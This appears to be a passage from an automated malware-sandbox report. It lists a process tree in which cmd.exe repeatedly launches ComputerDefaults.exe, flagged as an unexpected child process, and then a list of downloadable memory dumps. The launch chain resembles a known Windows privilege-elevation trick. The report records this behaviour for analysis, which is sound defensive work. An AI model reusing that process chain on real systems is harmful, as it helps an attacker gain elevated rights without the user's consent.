- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:5108

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4884
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:5036

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/2292-127-0x0000023AAD970000-0x0000023AAD974000-memory.dmp

Filesize
16KB

Download
memory/2480-126-0x0000023B70FC0000-0x0000023B70FC1000-memory.dmp

Filesize
4KB

Download
memory/2480-158-0x0000023B715F0000-0x0000023B715F1000-memory.dmp

Filesize
4KB

Download
memory/2480-125-0x0000023B70FB0000-0x0000023B70FB1000-memory.dmp

Filesize
4KB

Download
memory/2480-116-0x0000023B6F040000-0x0000023B6F041000-memory.dmp

Filesize
4KB

Download
memory/2480-124-0x0000023B70FA0000-0x0000023B70FA1000-memory.dmp

Filesize
4KB

Download
memory/2480-122-0x0000023B70F60000-0x0000023B70F61000-memory.dmp

Filesize
4KB

Download
memory/2480-117-0x0000023B6F050000-0x0000023B6F051000-memory.dmp

Filesize
4KB

Download
memory/2480-119-0x0000023B70910000-0x0000023B70911000-memory.dmp

Filesize
4KB

Download
memory/2480-123-0x0000023B70F90000-0x0000023B70F91000-memory.dmp

Filesize
4KB

Download
memory/2480-115-0x0000023B6EEF0000-0x0000023B6EEF6000-memory.dmp

Filesize
24KB

Download
memory/2480-121-0x0000023B70F50000-0x0000023B70F51000-memory.dmp

Filesize
4KB

Download
memory/2480-120-0x0000023B70F40000-0x0000023B70F41000-memory.dmp

Filesize
4KB

Download
memory/2480-118-0x0000023B70900000-0x0000023B70901000-memory.dmp

Filesize
4KB

Download